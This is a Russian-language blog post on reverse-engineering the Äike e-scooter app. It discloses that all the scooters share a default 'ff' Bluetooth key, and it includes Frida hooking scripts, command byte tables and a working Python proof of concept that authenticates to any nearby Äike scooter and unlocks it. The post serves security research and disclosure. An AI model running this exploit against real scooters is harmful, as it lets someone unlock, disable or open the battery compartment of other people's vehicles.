
Несколько лет назад я решил купить электросамокат, чтобы ездить на работу. Я уже какое-то время пользовался прокатом самокатов, но устал от необходимости «охоты» на них или отсутствия их рядом с домом, когда мне нужно было ехать в офис.
Мой выбор остановился на Äike T. Не потому, что он оказался лучше других самокатов: на самом деле, его цена была даже выше других, и в этом ценовом сегменте рынка явно имелись скутеры с более высокими параметрами.
Однако я выбрал Äike, потому что его производили в моей стране, а мне нравится по возможности поддерживать местные компании. Äike («молния» на эстонском) был спроектирован и изготавливался в Эстонии, прямо в Таллине. Насколько я могу судить, разработчики использовали не так много стандартных компонентов. Конструкция была разработана с нуля, модуль IoT и аккумуляторные блоки тоже производили локально, и так далее. Нельзя сказать, что это однозначно лучше, ведь при этом усложняется обслуживание самоката, но сам продукт мне показался амбициозным.
Ещё одной причиной покупки стало то, что у производителя была сестринская компания Tuul («ветер» на эстонском), занимавшаяся прокатом электросамокатов. Это тоже были скутеры Äike, и из всех конкурентов мне больше всего нравились Tuul/Äike, поэтому я по возможности пользовался их прокатом.
В прошлом году компания Äike обанкротилась. В будущем это не предвещало ничего хорошего: станет всё сложнее находить запчасти, ведь они были нестандартными. Но возникли у меня и более актуальные опасения, связанные с возможностью пользоваться самокатом. У него нет ручной функции включения/отключения. Для включения и выключения, открывания аккумуляторного отсека, переключения в режим транспорта и так далее необходимо было приложение.
Разумеется, приложение было подключено к «облаку». Часть функций уже перестала работать или была отключена (например, отслеживание местоположения по карте в реальном времени, хранение истории длительности поездок и так далее). Другие функции, привязанные к «облаку», похоже, ещё работали. Было непонятно, настанет ли такой момент, когда я вообще не смогу пользоваться приложением, а значит, и ездить на самокате. Это мотивировало меня заняться реверс-инжинирингом самоката и его приложения, чтобы разобраться, можно ли обмениваться данными с самокатом через стороннее приложение.
Первым делом я взялся за обратную разработку Android-приложения. Вскоре после этого я понял, что в самокате есть критическая уязвимость безопасности, позволявшая не только разблокировать и контролировать мой самокат, но и любой другой самокат Äike.
Подготовка к реверс-инжинирингу
Приложение написано на React Native. Есть два способа компиляции приложений React Native.
При старом способе в приложение сохранялся файл JavaScript, который интерпретировался JavaScript-движком React Native при запуске приложения. Несмотря на минификацию файла JavaScript, он всё равно довольно понятен, и выполнить реверс-инжиниринг его функциональности не так сложно. Труднее было бы отреверсить нативные модули или клей на Java/Kotlin. Модифицировать JavaScript для выполнения произвольного кода очень легко.
Более новый способ компилирует код на JavaScript в собственный байт-код React Native, исполняемый виртуальной машиной RN под названием Hermes. В этом случае уровни сложности менялись местами. Байт-код Hermes разобрать непросто, и пока нет хороших инструментов для реверс-инжиниринга приложений, скомпилированных этим новым способом. Особенно верно это, учитывая мощь современных декомпиляторов Java/Kotlin, благодаря которой в этом случае в скомпилированном коде проще понять клеевые классы.
Приложение Äike скомпилировано новым способом. К сожалению, из-за этого реверс-инжиниринг приложения был гораздо сложнее, чем я надеялся, но в то же время это здорово, ведь мне нравятся трудности.
Пока не существует хороших декомпиляторов байт-кода Hermes, превращающих его в код программы. Эту задачу пытались решить несколько проектов (1, 2, 3), но генерируемые ими результаты довольно зашумлены и неудобочитаемы. В итоге, я в основном пользовался проектом hermes_rs разработчика Pilfer, потому что он оказался наиболее совершенным и мне нравится работать с кодом на Rust.
Хотя большая часть функциональности была реализована на React Native, приложение всё равно должно было вызывать нативные функции Android. Я понимал, что это так, потому что для общения с самокатом приложение использует Bluetooth (наряду с «облаком»), а для выполнения любых действий с Bluetooth в Android, разумеется, нужна нативная функциональность операционной системы. Для этого приложение использует клей в виде кода на Kotlin. Я пользуюсь декомпилятором Java Vineflower; он смог декомпилировать интересующий меня код в довольно читаемый результат.
Изучив его, я понял, что код на Kotlin использовался исключительно в качестве «моста» для общения с операционной системой, а вся логика находится в байт-коде Hermes. Из-за этого мне пришлось активно работать с Frida для изучения обмена данными по Bluetooth в среде исполнения. После исследования декомпилированного кода стало понятно, что основная часть коммуникаций Bluetooth выполняется через характеристики BLE GATT. Я не буду вдаваться в подробности того, как здесь работают характеристики GATT (если вам любопытно, прочитайте недавнее исследование ERNW по безопасности наушников Bluetooth). Важно то, что теперь мы можем довольно легко перехватывать и изменять этот трафик при помощи Frida.
Android раскрывает классы Java android.bluetooth.BluetoothGatt и android.bluetooth.BluetoothGattCallback, которые приложения должны использовать для работы с характеристиками GATT. При помощи Frida мы можем перехватывать их и переопределить многие интересные функции.
В основном меня интересовали операции чтения и записи, а также уведомления GATT, поэтому я написал скрипт Frida, перехватывающий их и выводящий все коммуникации в консоль:
Java.perform(function() { var BluetoothGatt = Java.use("android.bluetooth.BluetoothGatt"); // события подключения BluetoothGatt.disconnect.implementation = function() { console.log("\n*** [GATT] DISCONNECTING ***"); return this.disconnect(); }; // операции записи BluetoothGatt.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function(characteristic) { console.log("\n>>> [COMMAND] Writing characteristic"); var uuid = characteristic.getUuid(); var value = characteristic.getValue(); console.log(" UUID: " + uuid); console.log(" Value: " + bytesToHex(value)); console.log(" ASCII: " + bytesToAscii(value)); return this.writeCharacteristic(characteristic); }; BluetoothGatt.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic', '[B', 'int').implementation = function(characteristic, value, writeType) { console.log("\n>>> [COMMAND] Writing characteristic"); var uuid = characteristic.getUuid(); console.log(" UUID: " + uuid); console.log(" Value: " + bytesToHex(value)); console.log(" ASCII: " + bytesToAscii(value)); console.log(" Write Type: " + writeType); return this.writeCharacteristic(characteristic, value, writeType); }; var BluetoothGattCallback = Java.use("android.bluetooth.BluetoothGattCallback"); // изменения состояния подключения BluetoothGattCallback.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt', 'int', 'int').implementation = function(gatt, status, newState) { console.log("\n*** [CONNECTION] State changed: " + getConnectionState(newState) + " (status: " + status + ") ***"); return this.onConnectionStateChange(gatt, status, newState); }; // чтение характеристик BluetoothGattCallback.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', 'int').implementation = function(gatt, characteristic, status) { console.log("\n<<< [RESPONSE] Characteristic read"); var uuid = characteristic.getUuid(); var value = characteristic.getValue(); console.log(" UUID: " + uuid); console.log(" Status: " + status); console.log(" Value: " + bytesToHex(value)); console.log(" ASCII: " + bytesToAscii(value)); return this.onCharacteristicRead(gatt, characteristic, status); }; BluetoothGattCallback.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', '[B', 'int').implementation = function(gatt, characteristic, value, status) { console.log("\n<<< [RESPONSE] Characteristic read"); var uuid = characteristic.getUuid(); console.log(" UUID: " + uuid); console.log(" Status: " + status); console.log(" Value: " + bytesToHex(value)); console.log(" ASCII: " + bytesToAscii(value)); return this.onCharacteristicRead(gatt, characteristic, value, status); }; // уведомления BluetoothGattCallback.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic').implementation = function(gatt, characteristic) { console.log("\n<<< [NOTIFICATION] Device data"); var uuid = characteristic.getUuid(); var value = characteristic.getValue(); console.log(" UUID: " + uuid); console.log(" Value: " + bytesToHex(value)); console.log(" ASCII: " + bytesToAscii(value)); console.log(" Length: " + (value ? value.length : 0) + " bytes"); return this.onCharacteristicChanged(gatt, characteristic); }; BluetoothGattCallback.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', '[B').implementation = function(gatt, characteristic, value) { console.log("\n<<< [NOTIFICATION] Device data (with value)"); var uuid = characteristic.getUuid(); console.log(" UUID: " + uuid); console.log(" Value: " + bytesToHex(value)); console.log(" ASCII: " + bytesToAscii(value)); console.log(" Length: " + (value ? value.length : 0) + " bytes"); return this.onCharacteristicChanged(gatt, characteristic, value); }; });
Аутентификация
После того, как моё тестовое окружение было более-менее готово, я начал исследовать различные функции приложения, чтобы разобраться, как работает обмен данными. Перехватывая процесс подключения приложения к самокату, я наблюдал следующий поток:
Приложение подключается к самокату.
Приложение считывает характеристику
00002556-1212-efde-1523-785feabcd123. Она содержит случайное 20-байтное значение.Приложение записывает другое 20-байтное значение в характеристику
00002557-1212-efde-1523-785feabcd123.Приложение записывает команды в характеристику
0000155f-1212-efde-1523-785feabcd123. На этом этапе я мог отправлять команды блокировки и разблокировки, команду открывания аккумуляторного отсека и так далее.Приложение разрывает соединение (когда его закрывают). Дальнейшие соединения снова начинаются с этапа 1.
Похоже было, что этапы 2 и 3 — это некая аутентификация «запрос-ответ». Без выполнения этих этапов я не мог просто перескочить к этапу 4 и начать отправлять команды самокату, потому что они бы отклонялись.
Я заподозрил, что 20-байтное значение — это используемый каким-то образом SHA-1. Чтобы убедиться в этом, я написал ещё один скрипт Frida, который перехватывает функции хэширования Android, раскрываемые классом Java java.security.MessageDigest:
Java.perform(function() { var MessageDigest = Java.use("java.security.MessageDigest"); MessageDigest.getInstance.overload('java.lang.String').implementation = function(algorithm) { console.log("\n[HASH] MessageDigest.getInstance called"); console.log(" Algorithm: " + algorithm); return this.getInstance(algorithm); }; MessageDigest.update.overload('[B').implementation = function(input) { console.log("\n[HASH] MessageDigest.update called"); console.log(" Input: " + bytesToHex(input)); return this.update(input); }; MessageDigest.digest.overload().implementation = function() { console.log("\n[HASH] MessageDigest.digest called"); var result = this.digest(); console.log(" Output: " + bytesToHex(result)); return result; }; MessageDigest.digest.overload('[B').implementation = function(input) { console.log("\n[HASH] MessageDigest.digest called"); console.log(" Input: " + bytesToHex(input)); var result = this.digest(input); console.log(" Output: " + bytesToHex(result)); return result; }; });
Запустив оба скрипта Frida, я подтвердил свои подозрения:
[BLE READ] UUID: 00002556-1212-efde-1523-785feabcd123 Value: 93 2E ED 37 8C A9 33 BB B8 42 FB 0A B8 6F F0 1D 74 48 AD F2 [HASH] MessageDigest.getInstance called Algorithm: SHA-1 [HASH] MessageDigest.update called Input: 93 2E ED 37 8C A9 33 BB B8 42 FB 0A B8 6F F0 1D 74 48 AD F2 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF [HASH] MessageDigest.digest called Output: A7 6B BF 7D 04 CA 93 0B 78 84 F9 75 07 07 74 57 78 DE 4E E6 [BLE WRITE] UUID: 00002557-1212-efde-1523-785feabcd123 Value: A7 6B BF 7D 04 CA 93 0B 78 84 F9 75 07 07 74 57 78 DE 4E E6
Значение запроса, считываемое из характеристики 2556, конкатенировалось с 20-байтами FF, и получившийся хэш записывался в характеристику 2557. Откуда бралось это значение FF?
Для основной части своей облачной функциональности приложение использует Firebase. При регистрации и сопряжении самоката сервер отправляет приложению секретный ключ. Он хранится в устройстве Android, и его можно считать, имея доступ к руту:
sqlite3 \ ./data/data/com.comodule.tuul.personal/databases/firestore.%5BDEFAULT%5D.coscooter-eu.%28default%29 \ "SELECT base64(contents) FROM remote_documents WHERE path = 'vehicles' || char(1) || char(1) || 'a1ce1d929129894c' || char(1) || char(1)" \ | base64 -d | protoc --decode_raw
Вывод:
2 { 1: "projects/coscooter-eu/databases/(default)/documents/vehicles/a1ce1d929129894c" 2 { 1: "connected" 2 { 1: 0 } } ... 2 { 1: "blePrivateKey" 2 { 17: "ffffffffffffffff" } } ...
Как видно из вывода, значение blePrivateKey равно ffffffffffffffff.
Я заподозрил, что это значение должно быть уникальным для каждого самоката. На это указывал и программный SDK для модулей IoT, используемых в этих самокатах — ключ FF был значением по умолчанию в SDK, которое разработчики должны были менять. Это подтвердил представитель компании, производящей эти модули, когда я сообщил ей об этой проблеме. Очевидно, команда разработчиков Äike пренебрегла созданием нового ключа для каждого самоката, применив для каждого пустой ключ FF.
Насколько я понял, в прокатных самокатах Tuul отключён Bluetooth, поэтому у них отсутствует эта уязвимость.
Proof of concept
Зная всё это, было довольно просто выполнять аутентификацию с любым самокатом Äike рядом со мной и начать отправлять ему команды. Чтобы доказать это, я написал скрипт на Python, выполняющий эту задачу — сначала он аутентифицируется в любом обнаруженном самокате при помощи ключа FF, а затем отправляет команду для его разблокировки. Для его запуска нужен Python 3 и библиотека bleak для работы с Bluetooth.
#!/usr/bin/env python3 import asyncio import hashlib from bleak import BleakClient, BleakScanner CHALLENGE_UUID = "00002556-1212-efde-1523-785feabcd123" RESPONSE_UUID = "00002557-1212-efde-1523-785feabcd123" COMMAND_UUID = "0000155f-1212-efde-1523-785feabcd123" def aike_filter(device, _): return device.name and device.name in ["AIKE", "AIKE_T", "AIKE_11"] async def main(): # сканирование и подключение device = await BleakScanner.find_device_by_filter(aike_filter, timeout=10.0) if device is None: print("No Äike device found") return client = BleakClient(device.address) await client.connect() # аутентификация challenge = await client.read_gatt_char(CHALLENGE_UUID) response = hashlib.sha1(challenge + b'\xFF' * 20).digest() await client.write_gatt_char(RESPONSE_UUID, response, response=False) # отправка команды разблокировки cmd = bytes([0x00, 0xD4, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) await client.write_gatt_char(COMMAND_UUID, cmd, response=False) await asyncio.sleep(0.5) await client.disconnect() if __name__ == "__main__": asyncio.run(main())
Дальнейший реверс-инжиниринг
Разумеется, я не просто хотел подключаться к скутеру и проходить аутентификацию, но и отправлять ему команды, а также обмениваться данными.
Проведя более глубокий реверс-инжиниринг и динамический анализ, я обнаружил, что сообщения с командами (записываемые в характеристику 0000155f-1212-efde-1523-785feabcd123) в общем случае имеют следующую 10-байтную структуру:
Смещение | Описание |
|---|---|
0 | Байт заголовка 1 (всегда |
1 | ID регистра — для команд обычно |
2 | Зарезервировано ( |
3 | ID команды |
4 | Зарезервировано ( |
5 | Зарезервировано ( |
6 | Зарезервировано ( |
7 | Значение параметра |
8 | Зарезервировано ( |
9 | Зарезервировано ( |
Например, команда разблокировки (0x01) без параметра будет выглядеть так:
00 D4 00 01 00 00 00 00 00 00
Переключение самоката в «режим транспорта» не стал исключением — эта команда использует другой регистр (0xD2) и структуру:
Смещение | Значение | Описание |
|---|---|---|
0 |
| Заголовок |
1 |
| Регистр транспорта |
2 |
| Относится к режиму транспорта |
3 |
| Относится к режиму транспорта |
4 |
| Относится к режиму транспорта |
5 |
| Относится к режиму транспорта |
6-7 |
| Зарезервировано |
8 | State |
|
9 |
| Зарезервировано |
Вот список команд:
Команда | ID | Параметр | Пример |
|---|---|---|---|
Разблокировать |
|
|
|
Заблокировать |
|
|
|
Переключиться в режим «Эко» |
|
|
|
Открыть аккумуляторный отсек |
|
|
|
Установить таймер автоматической блокировки |
| Минуты ( |
|
Режим автоматического торможения |
|
|
|
Кроме того, самокат отправляет уведомления в характеристику 0000155e-1212-efde-1523-785feabcd123. Уведомления содержат информацию о состоянии самоката (уровень заряда аккумулятора, расстояние, события блокировки/разблокировки и так далее).
Каждое уведомление начинается с 2-байтного ID регистра, за которым следуют данные полезной нагрузки.
ID регистра | Название | Формат полезной нагрузки |
|---|---|---|
| Уровень заряда аккумулятора | 1 байт: процент (0-100) |
| Статус блокировки | 1 байт: |
| Телеметрия аккумулятора | Расширенная статистика аккумулятора? |
| Режим «Эко» | 1 байт: |
| Статус команды | Подтверждение команды |
| Настройки | 8-байтная структура настроек |
| Напряжение аккумулятора | 2 байта в big-endian: мВ |
| Информация о прошивке | Сведения о версии прошивки |
Настройки (0x01A2) имеют следующую структуру полезной нагрузки:
Смещение | Описание |
|---|---|
0-1 | Неизвестно (возможно, модель самоката или версия оборудования) |
2 | Таймер автоматической блокировки в минутах ( |
3 | Автоматическое торможение: |
4 | Неизвестно |
5 | Режим «Эко»: |
6 | Режим транспорта: |
7 | Неизвестно |
Также можно вручную считывать значения уведомлений, записывая 2-байтный ID регистра в характеристику 00001564-1212-efde-1523-785feabcd123, а затем считывая ответ из 0000155f-1212-efde-1523-785feabcd123. Ответ состоит из 10 байт: первые 2 байта повторяют ID регистра, за ними следуют 8 байт полезной нагрузки.
Раскрытие
Отправка отчёта об уязвимости была усложнена тем, что Äike больше не существует. В сентябре 2025 года я связался с компанией-производителем модулей IoT, подтвердившей, что значение ключа FF используется по умолчанию и должно изменяться для каждого устройства.
С тех пор я написал собственное приложение для управления моим самокатом и с телефона, и с умных часов, что раньше было невозможно. По крайней мере, теперь мне не нужно беспокоиться о том, что облачные серверы будут отключены.
Хронология
13.09.2025 — попытка связаться с производителем модулей IoT, чтобы получить контакты для ответственного раскрытия уязвимости.
19.09.2025 — первый ответ производителя.
19.09.2025 — производителю отправлено подробное описание уязвимости.
22.09.2025 — производитель подтвердил, что клиент (Äike) должен был менять ключ, используемый по умолчанию.
06.01.2026 — публикация статьи.

